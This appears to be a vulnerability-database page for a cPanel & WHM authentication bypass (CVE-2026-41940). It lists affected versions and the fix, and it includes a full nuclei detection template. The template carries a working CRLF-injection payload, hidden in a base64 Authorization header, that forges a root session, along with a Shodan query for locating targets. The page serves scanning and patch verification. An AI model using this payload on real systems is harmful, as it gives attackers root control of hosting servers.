cPanel & WHM - Authentication Bypass via Session-File CRLF Injection

Exploited in the wild. Listed by CISA on 2026-04-30; known to be used by ransomware.

criticalseverity

98.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.

Impact

Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.

Fix

Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.

How to confirm it

Send: POST /login/?login_only=1
Positive when: status_code == 401 and contains(header, "whostmgrrelogin")
Send: GET /
Positive when: status_code == 307 and contains(location, "cpsess")
Send: GET /scripts2/listaccts
Positive when: status_code == 401
Send: GET {{cp_token}}/json-api/version
Positive when: status 200 AND contains "\"data\":{\"version\":\"" and "\"command\":\"version\"" and "\"reason\":\"OK\"" and "\"result\":1" AND not contains "Access denied"

Run it with nuclei: nuclei -id CVE-2026-41940 -u <target>

The full check

id: CVE-2026-41940

info:
  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
  author: watchtowr,hadrian.io,DhiyaneshDk
  severity: critical
  description: |
    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
  impact: |
    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.
  remediation: |
    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.
  reference:
    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"WHM Login"
  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        user=root&pass=wrong

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
          - contains(header, "whostmgrrelogin")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_no_ob
        part: header
        group: 1
        regex:
          - 'whostmgrsession=([^;,]+?)%2[Cc]'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
        Connection: close

    disable-cookie: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 307
          - contains(location, "cpsess")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: cp_token
        part: header
        regex:
          - '(/cpsess\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /scripts2/listaccts HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
        internal: true

  - raw:
      - |
        GET {{cp_token}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"data":{"version":"'
          - '"command":"version"'
          - '"reason":"OK"'
          - '"result":1'
        condition: and

      - type: word
        part: body
        words:
          - "Access denied"
        negative: true

    extractors:
      - type: regex
        part: body
        regex:
          - '"version"\s*:\s*"([^"]+)"'
        group: 1

References

Use this check only on systems you are authorised to test. Where the data comes from